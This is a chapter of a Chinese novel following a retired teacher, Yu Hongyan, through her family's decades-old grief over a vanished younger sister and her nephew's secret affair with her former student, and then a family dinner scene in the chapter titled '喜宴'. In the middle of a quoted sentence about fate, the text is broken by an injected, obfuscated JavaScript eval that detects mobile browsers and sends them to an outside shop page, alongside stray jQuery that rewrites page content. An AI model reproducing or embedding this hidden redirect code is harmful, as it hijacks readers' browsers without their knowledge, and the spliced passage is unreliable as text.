石唯很惊讶:“俞老师,你怎么晓得的?我是蛮喜欢欧阳同学的,他很好。我记得有一次心情不好,天又热,排队买东西不耐烦,张口就说‘这个世界怎么这么多人?为什么不消失一大部分啊!’欧阳当时在我前面,他很耐心地同我讲‘你怎么能说这种纳粹言论?这个世界就是由很多不同的人组成,你不能因为觉得别人妨碍你,就认为别人应该消失。如果真像你说的这样,那最先消失的可能会是我们这样的普通人。大家都是平等的人,对一个人的不公,就是对所有人的威胁,没人能幸免。’我当时好羞愧,觉得自己不耐烦乱抱怨真是太过分了,欧阳还说理解我只是因为等太久了不耐烦,他和我换了个位置,说耐心点没关系的。” “欧阳同学是蛮好的。我是怎么发现你喜欢欧阳同学的呢?你可能是怕我,上日语课总是很老实,但每次我点欧阳回答问题,你都会开心得像个小孩子——如果课堂允许发出声音,我怕你会跳起来拍起手来。”俞鸿雁笑着。 “哎呀,这么明显啊!我那时候真是小孩子心性,现在非常后悔呢。我发现欧阳同学喜欢小兰,老师你还记得小兰吧?我也很喜欢小兰,我又喜欢欧阳,我太难过了。更要命的是,我发觉小兰也喜欢欧阳。真是的,太考验我了!我想互相喜欢是多么美好的事啊,我应该为欧阳感到高兴,可是我当时不知怎么回事,再也不愿意和欧阳讲话了,就这样失去了一个好朋友。” “少年时代不都是这样嘛。没关系,欧阳肯定不会怪你。小兰是个非常认真努力、自信大方的同学,我也很喜欢她。” “小兰太厉害了,念书时她每次都说自己的志愿是以后当中学语文教师,她现在在高中教语文。我和她一直有联系,她每年都会送我自己种的各种小番茄。” 俞鸿雁欣慰地笑起来:“蛮好的,小兰实现了自己的志愿。我年轻时很喜欢看《饮食男女》,教你们班时觉得小兰长得很像电影里的二妹,看上去很稳重,比同龄孩子成熟。小小年纪能知道自己要什么,并为之努力,是很了不起的孩子。她现在成家了吗?” “嗯,她宝宝都三岁了。” 俞鸿雁沉默了一会,犹豫着问石唯:“石唯,你和男友谈过结婚的事吗?我这样问有些太过界了,不好意思。我是想,比起小兰他们,你的年纪可能在我们这边算晚一些了,也许会面临很多像我这样的长辈催促的情况。” 石唯忙笑着回:“没关系的,老师,我知道您是关心我。我分得清亲近的亲友关心和外人闲话。我恋爱没怎么和家里讲,上次和男友出去碰见我阿姨了,家里也就知道了。父母关心问询了些情况,我也如实讲了。我和男友商量后,他说打算中秋节正式去我家里拜访。” 这次见面,俞鸿雁既没有问出最想问的话,又没有说出最想说的话;她很悲伤,也很惭愧,她想有些话并不应该她来说,或许一开始,她就不应该试图从石唯这边解决问题——该面对现实和承担责任的是另一个人。当天夜里,她翻来覆去想着白天的事,深叹一口气,起身给梁挥发了数条消息。 第二天,俞鸿雁醒来第一件事就是摸过枕边的手机,见梁挥并没有回消息过来,一点残存的睡意也没了。她等了一天,等不下去了,给梁挥打了好几个电话。电话接通后,俞鸿雁开口就是:“你小子当我死了吗?摁掉我多少电话了?你逃得掉吧?和石唯的事打算怎么办?你搞‘人有多大胆,地有多大产’那一套?有多大碗端多少饭,你现在是在两头哄、双城骗!你自己搞出来的事自己要解决,不要害人了!屋里和外头的两人,都不欠你的!” “姨妈,这事您就不要管了,本来就是我自己的事。我从来没有想要您帮我解决,我也不晓得您怎么晓得的。反正,您不要操这心了,我会处理好的。”电话那头梁挥的声音,让俞鸿雁焦躁。 之后的半个月,俞鸿雁一直打电话给梁挥,梁挥起初是敷衍,后来对她说自己真的不想她干涉他的私事,他不会再接她电话了。在又一个周六早上,俞鸿雁帮老母亲准备好早饭,买了熟菜回来,和母亲交待了一下,坐最近的一班高铁去夏口。临走前,老母亲还不耐烦地催促她:“哎呦,你就是最喜欢操心!我又不啷样呀,我还旺得很,自己照顾自己清清爽爽的,还兴你操心吧?你快去兆萍那边哦,夏口又不是么远位处,再说,你天黑了又不是不回来!” 俞鸿雁知道梁挥每周六都去他父母那边一趟,她很无奈,自己这样算什么?堵人?让他跑得了和尚跑不了庙?她非要管这个闲事吗?自己只是个姨妈。可是二妹家的闲事,她想不想管,情不情愿,过去的多少年都管了。她希望这一次,梁挥能在家人知道之前,快点把这件事处理好。 这次算是白跑了一趟——俞鸿雁在书房用闹钟砸了梁挥,她太气了。她不明白,这小子是疯了还是怎么了,她很难受,她明白原来他一直记着过去的事,他也恨她。她当晚返家后,来不及回复老母亲对她白天在兆萍家琐事的问询,犹豫过后最终下定决心,拨通了石唯的电话。 周六晚上,石唯接过俞老师电话后,很不解老师为什么那么着急要和她见面。周日大清早,石唯去江边老街的馄饨店和俞老师一起过早,吃馄饨时,两人没聊什么;见俞老师不说话,石唯虽然不解,还是忍住没开口。两人都吃好后,俞鸿雁略带恳求地对石唯说:“石唯,陪老师去江堤走一会儿吧。” 早晨的江堤很美,时不时有风吹过,除了早起跑步锻炼的一两人路过,很是空旷。 “石唯,我知道你和梁挥的事了——你们在恋爱,我知道了。”俞鸿雁艰难地开口。 石唯停了下,接下来还是赶上俞鸿雁的步伐:“俞老师,你生气我瞒着你啦?我和梁挥商量过的,我们都觉得可能找个合适的时机,一起告诉您比较好。其实中秋节后,我们就会同您讲的。” 俞鸿雁抿着嘴,低头轻出一口气,继续走着,看向江对岸,接着说:“没有,我从来没有怪你。昨天我去了梁挥妈妈那边了,也和他见了面。” “他昨天好像不太开心,我们一起吃了早饭,他就匆忙回去了。我一个人在书房待了会儿,还看到了您年轻时的照片。”石唯小声回道。 俞鸿雁思绪被打乱了:“嗯?书房里我的相册在当年结婚时都带走了,那边应该没有我的照片,桌面一直摆的是梁挥的外公外婆和他的合照吧,另外一张我父母和我儿子的合照在我家。” “我昨天拿起来看的时候,不小心把相框立撑拉掉了一半,发现里面还有一张相片——照片里是您和另一位年轻女性在一起。我其实以前见过这位女士一次。” 俞鸿雁脑子一下嗡嗡的:“石唯,你说的我不太清楚,我和你认识的人的合照?” “照片里的背景是一棵很大的香樟树,您穿的胸前有蝴蝶结的白色衬衫,另一位穿的是粉色长袖塔克褶的衬衫。” 俞鸿雁没想到老父亲还留着小妹的照片,她皱着眉吸了口气,焦急地拉着石唯的胳膊:“你是哪一年见过她?在哪里?” 石唯看到俞鸿雁的样子,有点慌,小声说道:“应该是2007年,我记得再往后的冬天就是南方雪灾,我们那年取消了期末考试——就是那年。时间在9月下旬,我记得刚开学没几周。那天早上,我起早去上早自习路上,天还不怎么亮,路过算是我奶奶那边亲戚的一户人家,那家刚好和我外婆家是一个村子。门口灯亮着,我看一位女士倚在门口不远处的电线杆旁,她见到我看她,对着我很友好地笑了一下。我当时觉得她好漂亮,路灯下,她穿的蓝色衬衫很特别——我平时只看到竖褶子,没有见过竖着还一路斜着的褶子,好些年后在面料公司工作,才知道那是塔克褶。” “你当时就走了吗?知道她为什么在那边吗?” “嗯,其实……那天我看到里面应该是她朋友出来了,那人按亲戚关系算我远房表姑,我只在爸爸老家的几次酒席上见过;家里每次都让叫人,她也认识我。我当时喊了声‘姑姑’,她还问我‘石唯怎么在这边?哦,你在你尕尕这边上学吧!’,那个穿塔克褶衬衫的女士就说‘你侄姑娘?’,她回‘算表亲家的孩子,也是侄女’。我那天咳嗽得厉害,一直吸鼻子,那位很温柔的阿姨还笑着递了包纸巾给我。后来我就去上学了。” 俞鸿雁很震惊也很难受,她对石唯说:“照片里的人是我小妹,那件粉色衬衫是我给她买的。那时不知道那个褶子叫什么,只是觉得斜着的褶子比她原有的一件竖褶衬衫特别点,想着也许她会喜欢就买下了。看来她真的很喜欢呢,之后也一直穿这种衣服。你那位远房表姑是做什么的呢?你们家有她的联系方式吗?” 石唯想到或许这和俞老师家里的私事有关,但实在不好开口。俞鸿雁疑惑地看着她:“是有什么不好说的吗?” 石唯停顿了一会,小声说道:“我只是无意中听到外婆家附近邻居们议论过。这位表姑是个苦命人,离婚后没办法,去了南方,据说是在欢场讨生活。也许是邻居胡乱讲的,其他的事我不知道了。至于她的联系方式,我们家和她没有来往;在老家吃酒席时,听自家姑妈和别人扯闲话提到过她,我可以去问下我姑妈。” 俞鸿雁抑制不住地流下泪来,石唯很无措,慌忙翻找纸巾,也不知道怎么递给她。 日头升高了,照得人身上热起来;江面的运砂船来来往往,不知道是去向哪儿。俞鸿雁擦掉眼泪,她不能忘记要做的正事,她把什么都同石唯讲了。 “我小妹,也就是梁挥的小姨,她离家很多年了,杳无音讯。我在江城念书时,有年电影院引进了些日本电影,那时我和朋友去看了《砂器》。电影里父子流浪的那一段,让我久久无法平复心情——这个故事让我心痛,我很喜欢片尾和贺英良指挥的交响乐。后来回家,我把电影内容讲给了妹妹们听,小妹听得入迷。之后我在书店看到了《砂器》的连环画册,买下来带给了小妹。再后来,我买了春风文艺出版社初版的《砂器》送给她,她说和同学一起读很喜欢。‘宿命是什么呢?’‘它是非常非常强大的,就是说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988389|193651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,人生下来活下去要受它支配’。我一直都好想她,我没有尽到做长姐的责任,我对不起她!我从来不信命,又逃不过命运的捉弄。” 那天俞鸿雁不记得是怎么和石唯说出本要对她说的那些话,也不知道是怎么和石唯分开回到家里。在夜里,她看着悠闲地在客厅看戏曲节目的老母亲,生出了自己只想回避的无限恨。回到房间,她到书架里翻出旧相册——没有小妹单独的照片,只有她收起来的那张小妹在外地念会计的中专毕业班级合照。 又是一年秋天,人说天凉好个秋,今年的秋老虎怎么这么凶?俞鸿雁草草结束散步,折了栾树矮处的花枝回家。黑色珠光老花瓶被鸡油黄的栾树花一下子点亮,客厅都显得不那么灰了。俞鸿雁洗漱好回到卧室,坐在梳妆台用按摩梳一遍遍梳着白了大半的头发——最近有太多事,她忘了买染发膏。她又叹了口气,放下梳子,起身去书架上翻出老相册,坐在床沿慢慢翻起来。 俞鸿雁在江城念师范时,在和一位隔壁院校读法律的北方同学交往。那位同学规划着出国,她和他一起学日语。后来,还是断了。毕业回到家乡的高中教书,她很满意自己的生活。没几年,二妹也毕业了,托父亲的关系,在乡镇储蓄所里工作。再过两年小妹毕业回来,去了丝织厂里当会计。父母亲只愁她们姐妹的婚事。 父亲的同事给二妹介绍了一位不错的男青年:相貌端正,家里条件也不错,他父亲是小妹工作的丝织厂的副厂长。二妹和这位男青年相处得不错,已经谈婚论嫁;没有意外,下半年临近春节就要结婚了,偏偏小妹这边出了事。小妹经常和同事去供销大厦逛,认识了一位外地来的青年,他们交往起来,被二妹兆萍在红旗电影院撞见了好几次。 兆萍有次同俞鸿雁抱怨:“小妹居然偷偷谈恋爱了,瞒着家里有一年了,这是回来一上班就好上了吗?要是他们单位的,也就不多说她了;我托人打听过了,那男孩子是南方倒卖服装过来做小生意的。她真是的,找个不体面的就算了,还敢找外地的,我看还是要跟爸妈讲,她小小年纪不学好,别脑子不清白,哪天跟人跑了!” 俞鸿雁没在意:“年轻人嘛,谈恋爱很正常。她也就比你小三岁,你下半年都要结婚了,她谈恋爱也很正常。就是不知道那个男孩人怎么样,待她好不好;是外地的,也不知道家里什么情况,以后什么打算。要是没什么大问题,两人情投意合,谈下去也行。” “大姐,我看你就是惯她,你们都惯她。她谈恋爱正常,那你怎么一直不谈恋爱?要是我是这情况,谁知道你怎么讲?”兆萍有些生气。 俞鸿雁不知说什么好——兆萍老为小妹的各种事和自己怄气,只好回她:“我晓得了,我会和她谈一下,到时候一起同爸妈商量的。” 俞鸿雁找了个时间和小妹丹芳聊了下,问了下情况;后来也去了供销社那栋楼巷子后面的服装街店里,佯装要看衣服,实则观察那男孩子——她觉得那男孩还不错。父母亲知道小妹的事后,认为不太靠谱,也没有明着反对;俞父松口让小妹找个时间带对方来家里坐坐。到了见面那天,丹芳男友小林带着礼品和她一起过来,他说话做事也比较稳重;在他明确表达在这边安家的意愿后,俞父俞母算是默许了他们交往。 下半年,小林的朋友大刘要他一起去外地看货,说是西南锦城那边新建了很大的服装城,自己在利州有熟人,还打算第二年去那边做生意试试。小林本不想去——自己一向是到南方老家拿货,但来这边做生意就是当初大刘在他们老家做生意,两人熟识后志趣相投;大刘心思活络人机灵,小林犹豫了一下也没好拒绝:去看看就看看吧。小林对俞丹芳说了自己的行程,准备和大刘先去利州大刘朋友的服装店子看看,再一行人去锦城;他表示自己在那边会尽快联络俞丹芳。临行前两天,小林给俞丹芳买了一条金项链,丹芳不肯收,说太贵重;小林极力塞给她,说道:“小丹,我是真心中意你。我知道你家里有顾虑不放心,我都见了你爸妈,肯定是要在这边安家和你在一起的。我这几年做生意也攒了不少钱,父母虽想我回老家省城做生意,见我的态度和决心也不说什么了,家里兄弟姐妹也支持我在这边。我父母听说我见了你父母,专门汇了钱过来,要我给你置办些东西。我年底回家过年后,会和家里人正式过来你家商量我们的婚事。”俞丹芳很感动,有些羞涩地回道:“你真是的,这么着急买这贵重的东西给我,你又不是不回来了。我们的……婚事……我晚上回去同我爸妈讲年后你爸妈来的事。”小林一直很细心周到,旁人都说俞丹芳胆子大,居然谈了个外地的朋友——人家要是生意不好做,跑了怎么办?她不在意这些,她知道小林待她有多好。这条项链沉甸甸的,一片片小细橄榄叶子般的链节被精巧的环扣衔成这粗粗的链子;吊坠是个桃心,中间的桃心刻着放射向四周的纹路,三层镂空后,最外缘是一圈圆点花纹。 半个月过去了,小林一点消息也没有,他的铺子还在一天夜里着了火,往左右延绵波及了好几家。俞丹芳很是担心,找大姐俞鸿雁商量。二姐俞兆萍在一旁剪指甲,厌弃地道:“丹芳怕是被骗了哦,那个外地人是想甩掉她回老家了也不一定。” “二姐你总是这样,我哪里得罪了你?小林要骗我,何苦还买条金项链给我!他说了年底就来咱们家提亲的!”俞丹芳忍不住俯在桌子上哭起来。 俞兆萍听到这话呆住了,看向大姐那边,见俞鸿雁有些嗔怪地看了她一眼,她也气不过,放下指甲钳回房:“我去和妈说去!” 俞丹芳没几天在俞鸿雁的陪同下找到了市场大刘的门面,问他小林的事,大刘很惊讶地问:“啊!他没和你联系吗?说是回老家了呢!我们在南方省城认识的,他老家也不在省城,具体哪里我不晓得,实在不好意思啊,帮不上忙了。” 俞鸿雁隐隐感觉不对,拉着妹妹回去了——她想小林可能出事了,但不敢把猜想当小妹说出来。那一周,俞丹芳总是没什么精神,俞鸿雁想着自己还是要从学校职工宿舍搬出来,在家里多陪着小妹才行。还是晚了一步,等家里再联系,俞鸿雁才知道小妹在她交通局工作的初中同学帮助下,已经去了外地,她厂里家里两头骗:厂里以为她是家事告假,家里以为她是心情郁结,住到厂里职工宿舍和好友能说说话。小妹的同学也自责得不得了。 俞家乱得不成样子,俞父俞母相当焦心。俞兆萍气急:“丹芳蠢得像猪!不成就不成啊,人家摆明是不想和她好了,她倒好,上赶着去找别个,外面这么乱,鬼晓得会遇到什么事啊!” “你不要说这话,我晓得你也是担心她——要是你和你现在的朋友断了,你不急吗?人都走了三四天我们才发现,现在找人才是正经事!她那个同学也是的,不问清楚瞎帮忙,这帮的什么忙哦!”俞鸿雁对二妹有些生气。 俞兆萍站起来:“大姐,你就是偏她!许她做还不许我说啊?她就是蠢!那个帮她的同学一直就对她有意,家里条件也好,工作也体面,她自己谈了个山高路远来的‘卖货郎’,还跑出去找别个了!这么不体面的事,不说我和你,爷和娘受得了吧?我哪里说错了?” “行了,算了。你们也不要怪这个那个不相干的人了,冇得人想有这事。我们都想办法找人吧。”俞父叹了口气。 俞家忙前忙后发动亲友忙活了半个月,一家人本来一条心;结果熟人带来消息,那个大刘犯事跑了。大刘的门面被砸开了,里面乱七八糟的,都是要债的,据说他赌博输了不少钱,穷途末路跑了。传言累及小林,坊间传闻大刘还吸毒,那小林和他是朋友,肯定是毒赌都沾的,指不定躲什么跑回老家不露面了呢!传言愈演愈烈,俞家小女儿跟人跑了的流言彻底传开了。亲友们也都不怎么愿意帮忙了,只有俞鸿雁一直得空就到处跑,找妹妹的消息;期间她的高中同学老陈也一直坚持帮忙。 传言总是伤人的,家人都无法承受愈传愈失真的耸闻。俞父俞母在各自单位的处境很尴尬:有真心关心他们的人,更多的是看热闹和笑话的人。俞兆萍的婚事黄了——她妹妹的事在丝织厂里传遍了,副厂长准公公觉得丢死人了,未婚夫家坚决退了婚,说是要娶“正经家庭”的“清白”女性。俞兆萍上班就像走阴间路,她不想面对:自己已经成了储蓄所的笑柄! 在一次休假俞鸿雁和同学老陈回到家里,和父母说起自己找小妹的进展和情况时,俞兆萍从房里冲了出来:“你不要讲了!你还找她做么昂?她要是有一丁点良心,就不会一封信也不回来——爷和娘单位的电话她晓得,丝织厂的电话她有,你们单位的电话她熟得很!她要是嫌丢人不敢联系你们,那就随她算了,还能死在外面吧?她几时管了这屋里人的死活?我的人生都被她毁了!外面在传我俞兆萍有个吸毒的妹妹,跟了个赌博的男的跑了;还不晓得那男的到底是什么底细,鬼晓得有没有家庭,说她当第三者跑了的也有!现在说什么的都有,凭什么是我承担啊!我就是个笑话!” 俞兆萍嚎啕大哭,哭到喘不上气,实在崩溃大吼一声后,把客厅桌子上东西全部掀了,还把老陈手里的茶杯也夺过来砸了,接着喊道:“找找找!你们怕她死在外面,就不顾我怎么活吗?这家里没有人欠她那个猪脑壳的!” 俞鸿雁很难受,她不知道说什么。俞兆萍的未婚夫和她分手后,很快同家里另外介绍的女青年好了——据说婚期不变,只是新娘换掉。俞鸿雁想过劝二妹:“不要为一个提分手都不敢面对,还要自己父亲出面的懦弱男人心痛。”但她知道,二妹受到的创伤、面对的社交压力,不是她一句轻飘飘的话能安抚。她很痛心,除了持续找小妹,也一直给二妹买一些东西、写点简短的留言鼓励;她知道二妹抗拒和她沟通,也不想同她讲话,那就生活上做些能做的事关心二妹。更让俞鸿雁难过的是母亲的态度:母亲似乎很想维持所谓“俞家的体面”,她不想让父亲和自己再把时间花到“大海捞针”找小妹上,想让这事翻篇。 俞母自小女儿出事以来,在单位简直没法做人。她一直满足于自己与丈夫都有体面工作,生活富足、家庭和谐,三个女儿也都工作了;除了自己没生儿子,基本是单位里被艳羡的对象。小女儿的事让她平白受到了无数“教女无方”“得亏没生儿子,生个儿子这样这辈子算完了”的指责,连在乡下老家她看不上的姑姐和妯娌,晓得这事后也明里暗里踩她“只顾自己舒服,把伢养废了!我们在乡里又啷样?得亏有儿子,比她强多了”。 年底俞兆萍前未婚夫的婚礼,办得风风光光,大摆宴席。俞兆萍又在亲友口中掀起了一阵议论,同事们也从窃窃私语到明着讨论;这一次,她真的遭不住了,在家里大发一通脾气。俞鸿雁提着水果到门口,就听见盘盏砸碎的声音,着急忙慌进门——只见俞父坐着,撑着低垂的头不言语;俞母立在窗帘那边,独自垂泪;二妹疯魔似地砸所有能砸的东西。俞兆萍见到大姐,更来气了:“俞鸿雁,我跟你说!我和爷还有姆妈说了,都不找了!我也是最后一次警告你,你们再找她俞丹芳,我就死到你们单位门口!她欠我的,哪个赔给我啊?你们好枯的心啊!你们怕她在外面死,有没有一个人想过我在家里怎么活?我就是那‘愚公移山’的山,也撑不住要塌了啊!这是人过的日子?我在单位里怎么做人?我出去外面怎么做人?所有人都晓得我被退了婚,都笑我屋里不清白。到底是哪个不清白啊?到底是哪个辱门拜户?” “是外面那些嚼牙巴骨、造口业的人不清白!是他们没有德行,辱门拜户!” 俞兆萍呆滞地看着大姐,轻点两下头:“好!好!你俞鸿雁了不起,长姐真是有本事、好负责呀!今日今时了,你还帮她说话!”她冲进书房,把相册和一些簿子拿出来,将与俞丹芳有关的相片还有文件,对俞鸿雁一张张撕——像被折磨疯了一样,边撕边哭边笑,拦都拦不住。 闹到后半夜,俞母安抚好了二妹,带她回房休息了。俞父只是叹气,后来轻拍了一下俞鸿雁的背:“老大,小妹的事还是劳烦你费心了,我对不住你们几个,是我没有操好心。”俞鸿雁一个人收拾客厅里乱七八糟的碎片、东倒西歪的桌椅,她捡起那张撕成四块的小妹中专毕业照片——明明一年前,刚毕业参加工作的小妹对生活那么有憧憬。她把这张照片收进了自己包里。 本来家里想给二妹请假休息几天,可二妹第二天起来,还化了妆、精神满满的样子去上班。她对俞鸿雁说:“不劳你们费心!我和你心爱的小妹不一样!我随几时都不会让别人看乔(看歪、看扁)!” 小妹彻底没了消息。她的同窗好友江群提着礼品来家里问询过好几次,每次二妹都不给人家好脸色,俞母也不太搭理人家,江群也就再没来过了。俞鸿雁这些年一直没有放弃寻找小妹,她总会梦见小妹——担心小妹在外面过得不好,连梦里都是追着小妹问:“丹芳,你冷不冷?手头紧不紧?你跟我回家吧。”每次醒来,枕巾都湿透了。二妹俞兆萍在前未婚夫结婚三个月后,死活要嫁给家里开砖厂的一位男青年;她自己性格坚定有主意,家里没人反对,都由她性子。她觉得自己带着“死活”的气地回家摊牌,倒像个笑话。俞鸿雁也只想尽快离开父母家——小妹的事像一块暗疮,像家里角落消失不掉的白墙上的霉点,成了每个人心里季节性出现的梅雨,逃无可逃,不知如何躲避这阴影。她很快和一直帮助支持她的老陈结婚了,彻底搬离了原本温馨的绿色小楼——她们三姊妹的家。小妹离家那年,她初中就种下的栀子花树也不知怎么枯死了,一直也就立在花园没人管,等俞鸿雁也出嫁了,那年老家亲戚们到城区小商品市场采购,顺道上家里坐了坐,砍掉那棵枯木带走做了烧火棍。 现在俞鸿雁坐在床沿,又翻到那张她粘起来的小妹的中专毕业照片。想到自己镜子里的白头发,想到自己不知怎么过去的几十年——时间在她身上像淌过的静静河流,平淡安稳的生活早已让她平静,但每次想起小妹,她心里不静办(安宁)。石唯和俞鸿雁在江滩分别后没几天,告诉了她所有找到的关于那个所谓俞丹芳“朋友”——“远房表姑”的信息:她好几年没有回来了,电话号码也换了,之前的拨不通;石唯只通过自己姑妈找到了她的短视频账号;至于石唯外婆家附近的那户亲戚家,在前几年老人过世后,房子空了,那位“表姑”的兄弟姐妹也不住在本地。俞鸿雁关注了那人的短视频账号,一直给那个好几年没更新的账号发私信,期待着希望渺茫的回音。 命运是什么呢?俞鸿雁不知道。她想过做一个好女儿:父亲抱憾而终前,握住她的手小声说“老大……你费心”——她知道他的意思,是让她继续找小妹。她母亲现在瘫痪,以她六十三岁的身体和精力,一个人照顾不来,二妹又有怨不配合;她想做一个好妻子:二十几年前,在悲愤交加下,还是去丈夫单位举报了他,他说她不念一丝情分;她想做一个好母亲:对儿子课业的严厉和学业规划的控制,让他坚定地挣脱了她;他还恨她毁了他的幸福家庭、毁了他的父亲,他说是她亲手把自己越推越远,说他没有家;她想当一个好家姐:小妹杳无音讯,对二妹的所有支持和帮助,都是二妹不想要的,二妹说她偏心、自恋,说她“自己不幸福才会管别人家事”;她想当个好姨妈:梁悦只想离开有自己母亲的家庭,忽视婷婷的样子,像当初二妹不关心梁悦一样;梁悦爱她、尊重她,却必须疏远她——就像疏远自己母亲俞兆萍一样,只有这样才能彻底逃离家庭和家族;梁挥只想逃避现实,她一提出现实问题,他就会翻出陈年旧事,说她“你对我管教就像对待大羽哥一样严苛”;她想当个好老师:那些爱戴她的学生们一直和她联系,可当她发现其中石唯和自己已婚的侄子在恋爱时,她第一反应居然是找学生石唯解决——当时想到的都是“梁挥的生活不能被打乱”,尔后才考虑石唯,明明是侄子的错,不是吗? 以前教书,每次月考完,班上同学们会对答案,俞鸿雁也会帮助学生们对答案——这样有参照、有对比,心里有底。现在的生活,要到哪里对答案呢?或许没有必要对答案、找参照了,她不后悔,她不用后悔。命运是什么呢?没有答案,只是“我愿、我过、我活”,她会静办地投入那深潭,永不回头。 22. 喜宴 最近几天下起了小雨,终于凉快了一点。杜雨停好车,在车库那边电梯按下11楼,一位妇人忙喊:“等一下”,挤着身子跑进来,招呼着她身后抱着小婴儿的年轻女性快进来。待抱孩子的年轻女性进来后,那妇人看向帮忙按着电梯开门键的杜雨,笑道:“谢谢啊”,接着自行按了7楼。 杜雨进门时,他爸妈已经吃过饭了。杜妈说给他留了饭菜,让他热一下,自己背酸,就不去厨房帮他了。 这边杜雨吃着饭,那边杜爸、杜妈在沙发上看电视闲聊。 “老杜,江边新开的酒店蛮好的。前几天去那边吃酒,我们那一层就有四家在办酒席呢,热闹得很。”杜妈戴着老花镜,拿着手机边研究怎么剪辑自己的照片视频,边对杜爸讲。 杜爸看着电视,回道:“雾桥那一块新建的酒店?是听别人说过还不错。小雨姑妈说十一回来给孙女办周岁宴,也是订的那边,到时候去看看。欸,你是处暑那天去的吧?那天星期六,可能办酒的人家多。是陈志明家什么喜事接你啊?” 听到这里,杜妈放下手机,凑到杜爸身边说起来:“老陈的小儿子结婚。他好福气哦,他爷和娘这么大年纪了还在,都九十多了。他自个在外面生意做得好,这次就专门给小儿子到老家再办一场,有点他自己衣锦还乡的意味。” 杜爸有点不屑地道:“哼!他当年搞出那事,还好意思?小儿子结婚还专门来老家风光大办,也不知道有没有管过前妻生的大儿子,他前妻也是倒霉。” 杜妈有点无奈:“老杜,你别这样,咱俩还是陈志明介绍的呢!你和他还有俞老师都是高中同学,同窗一场,这多年过去了,就不说这话了。当年俞老师举报他,太……” 杜爸有点生气:“太什么?太过分?我说你真是糊涂,你也是女人,怎么说这话?1998年那次全城抗洪救灾,我就不明白了,人家都是抢险救灾,他陈志明怎么就和隔壁县单位外调过来暂时协助的小姑娘好了?难不成这种严峻环境下同甘共苦,出现了过命的感情错觉?人家小姑娘刚参加工作太年轻,他也年轻?当时他儿子都九岁了!你是不知道,后来出了事,还是鸿雁托的关系找的熟人,带那小姑娘去的医院。她已经够善良了,考虑了那个小姑娘的前途和对她的影响。一年后举报,也是举报他别的,还没说他作风问题呢!鸿雁自尊心强,出了这档子事后,和一班同学们属全部断了来往。你不能因为他是你恩师的儿子,就偏听偏信吧?” “算了,算了,我也没别的意思。我和他聊了一会儿,他大儿子陈羽在南洋那边,结婚生子了,过得蛮好的。陈羽结婚他没去,俞老师去,他总归不好意思去,他心里还是有亏欠的。你晓得俞老师性格刚强,也不要他的补偿;他儿子和他关系还可以,就是也拒绝他的钱啊什么的——孩子心里还是心疼自己姆妈的呀!” “唉哟,真想补偿总有办法,还怕帮不上忙吧?说的倒是好听。”杜爸斜着眼笑起来。 杜妈突然拉了杜爸的胳膊,说道:“对了,你说巧不巧!你记得艳蓉吗?就是我那个老同事,杜雨同学文凯的姆妈。” “怎么又把话转到她身上了?五年前,刚情况不怎么好时,文凯不是把她接出去了吗?这几年都在外面吧?没听你再提了。”杜爸不解。 “这世界真是小。陈羽比文凯早好几年在那边理工大学毕业,两人认识后,陈羽见文凯是同乡又是自己师弟,对他很是提携,两人生意往来不少。后来不知怎么了,现在一直在打官司,陈羽被文凯气得不行。这次陈羽公司出问题,老陈给了不少钱呢。他前几个月去了趟陈羽那边的,还碰到艳蓉了,他记得她的,九几年的时候,我们都在他手下做事。他这次还和我感慨,这世界真是小!” 杜爸叹了口气:“小!小!小到都是些孽缘!” 杜雨听到父母讲的这些事提到文凯时,往沙发那边看了一眼。杜妈见他望过来,说道:“对了,赵秋也在那边,她同我讲是参加隔壁厅同学婚礼。她送完礼金,和我打了招呼就走了。” “嗯,我知道。她说是高中同学婚礼,就简单去一下算了。”杜雨起身收拾碗筷。 杜爸顺着问:“你们最近怎么样了?” 杜雨回道:“蛮好的。我接她回来了,搬回鹊桥路了。” “你是男人,要担责。日子是过出来的,好好珍惜。不要总是只顾着自己了。”杜爸看了杜雨一眼,见杜雨点头回应,也不多说了。 杜雨在厨房洗好碗筷,整理了一下,再把地拖了一遍。这周赵秋去外地培训,他就过来父母这边吃饭,顺带做点力所能及的家务。和赵秋分开住的这段日子,他疑惑过、逃避过、求助过,最后反省决定面对现实和自己——人要对自己诚实。他想一点点修复他们的关系。 赵秋妹妹赵程锦这次暑假回来,杜雨组织了一次家庭旅行。他征求赵秋意见后,带她父母和妹妹去外地避暑一周;赵秋因为有事没去,大家玩得很开心,赵母江群难得发了朋友圈。赵秋看到江群发的重复的瀑布照,摇摇头,又笑起来。杜雨定期约赵秋见面,两人保持着平和友好的沟通。他恳请赵秋再尝试着和他一起面对,找到更适合两人沟通相处的生活节奏,他为自己之前的麻木道歉。赵秋考虑一段时间后,愿意试一下;杜雨提到她住处离工作地点远了些,如果她愿意,还是搬回鹊桥路住,赵秋同意了。 杜雨给父母亲端了切好的果盘过来,杜妈谢过他,继续研究着剪辑照片 杜妈也许是听了杜雨和杜爸的对话,心情放松了些,对杜爸讲:“你说巧不巧,七楼那家——就是我们每天下楼散步碰到的,抱着孩子出门散步的那家,也在那边办百日宴呢!看来最近做喜事的人家蛮多的。” “也许是新酒店开业生意比较好,大家都去那边办了吧!”杜爸继续看电视,电视里放着苏联老电影《命运的捉弄》。 处暑那天,伍义在江边新开的酒店给小孩办百日宴。杨锦姿过来送礼金,伍义和太太小陈连忙迎上来。小陈怀里抱着宝宝,杨锦姿看了看小孩——小婴儿的脸粉扑扑的,很可爱。 “今天还下着雨,劳烦你从夏口赶过来。多谢你了,杨姿。”伍义接过礼金,笑着道谢。 “反正开车么,下雨没所谓的。”杨锦姿笑着抬手摆了一下,又看向宝宝“小宝贝长得真可爱,看上去像半岁的孩子,养得真好,你太太辛苦了。对了,宝宝叫什么名字?”她说着,对小陈温柔地笑了笑。 小陈也笑着回道:“嗯,他是长得蛮好的。得亏我妈妈帮我们带,她很过细的。伍义说,他人生最重要的一些时刻,都是下雨天——和我相遇是雨天,我们婚礼那天也是雨天,宝宝出生那天也下了小雨,就给宝宝起了‘小雨点’的小名。” 